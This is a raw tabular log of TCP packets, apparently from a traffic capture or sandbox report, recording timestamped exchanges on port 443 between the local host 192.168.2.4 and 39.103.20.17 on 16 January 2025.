Jan 16, 2025 03:54:23.508671999 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.508681059 CET	443	49739	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.508702040 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.508717060 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.508742094 CET	49739	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.521058083 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.521110058 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:23.521188974 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.521346092 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:23.521353006 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:24.744177103 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:24.744452953 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:24.744967937 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:24.744995117 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:24.745131969 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:24.745145082 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.823504925 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.823535919 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.823575974 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.823594093 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.823657036 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.823698044 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.823698044 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.823725939 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.823755980 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.823766947 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.823796988 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.823817968 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.828320980 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.828427076 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.828439951 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.828505993 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.828954935 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.829025030 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.829646111 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.829705954 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.829715967 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.829729080 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.829761028 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.829782009 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.830442905 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.830503941 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.831208944 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.831276894 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.831279993 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.831301928 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.831348896 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.834259033 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.834321976 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.834754944 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.834815979 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.835062981 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.835124969 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.835995913 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.836045027 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.836056948 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.836066008 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.836095095 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.836116076 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.836812019 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.836873055 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.840595961 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.840693951 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.840720892 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.840780020 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.841346025 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.841411114 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.841626883 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.841675043 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.841686010 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.841691971 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.841722012 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.841728926 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.841742039 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.841749907 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.841777086 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.841810942 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.842493057 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.842551947 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.842559099 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.842566013 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.842595100 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.842612982 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.842627048 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.842674971 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.843486071 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.843529940 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.843547106 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.843554974 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.843569994 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.843575001 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.843599081 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.843605995 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.843619108 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.843632936 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.843667984 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.843674898 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.843717098 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.844269037 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.844326973 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.845889091 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.845952034 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.845961094 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.846013069 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.846172094 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.846230030 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.846842051 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.846892118 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.846899986 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.846906900 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.846940994 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.846941948 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.846956015 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.846987963 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.846998930 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.847006083 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.847012997 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.847044945 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.847080946 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.847493887 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.847527981 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.847549915 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.847558022 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.847584963 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.847605944 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.847644091 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.847707987 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.848370075 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.848450899 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.848589897 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.848642111 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.848644018 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.848654985 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.848700047 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.848730087 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.848737001 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.848750114 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.848751068 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.848783970 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.848790884 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.848808050 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.848845005 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.849735975 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.849801064 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.849828959 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.849883080 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.849905014 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.849961042 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.849977016 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.850039005 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.850050926 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.850109100 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.850635052 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.850740910 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.850769997 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.850828886 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.850860119 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.850922108 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.850944042 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.851002932 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.851025105 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.851087093 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.851402044 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.851463079 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.851823092 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.851881981 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.851914883 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.851970911 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.852008104 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.852066994 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.852094889 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.852150917 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.852175951 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.852227926 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.852255106 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.852312088 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.852340937 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.852650881 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.852917910 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.852982044 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.852998018 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.853055954 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.853085041 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.853143930 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.853172064 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.853231907 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.853259087 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.853319883 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.853341103 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.853399992 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.853430033 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.853492022 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.853517056 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.853576899 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.853596926 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.853657007 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.853765011 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.853828907 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.853851080 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.853904963 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.853950024 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.854008913 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.854058981 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.854115963 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.854146957 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.854202032 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.854233027 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.854290009 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.854317904 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.854377985 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.854401112 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.854454994 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.854482889 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.854537964 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.854640961 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.854697943 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.854722023 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.854779959 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.854942083 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.855003119 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.855025053 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.855082989 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.855117083 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.855175018 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.855202913 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.855262041 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.855287075 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.855349064 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.855679989 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.855737925 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.855798960 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.855859995 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.855896950 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.855953932 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.856012106 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.856070042 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.856112957 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.856168985 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.856229067 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.856287003 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.856314898 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.856374025 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.856424093 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.856482983 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.856512070 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.856570005 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.856595993 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.856661081 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.856683016 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.856740952 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.856769085 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.856827021 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.856867075 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.856923103 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.856966019 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.857023001 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.857060909 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.857119083 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.857165098 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.857217073 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.857259035 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.857317924 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.857347012 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.857409000 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.857454062 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.857511997 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.857549906 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.857605934 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.857645035 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.857702017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.857737064 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.857790947 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.857825041 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.857884884 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.857930899 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.857995987 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858021021 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858083010 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858120918 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858181000 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858248949 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858319044 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858344078 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858390093 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858402014 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858417988 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858448029 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858450890 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858484983 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858504057 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858524084 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858527899 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858557940 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858568907 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858593941 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858598948 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858623028 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858633041 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858664036 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858664036 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858704090 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858715057 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858740091 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858743906 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858761072 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858772039 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858799934 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858800888 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858834982 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858846903 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858869076 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858874083 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858901978 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858913898 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858939886 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858943939 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858968019 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.858978987 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.858999968 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859010935 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859041929 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859060049 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859071970 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859078884 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859114885 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859118938 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859131098 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859143019 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859169006 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859174013 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859200954 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859210968 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859236956 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859241009 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859278917 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859292984 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859329939 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:25.859349012 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859349012 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:25.859369040 CET	443	49743	39.103.20.17	192.168.2.4
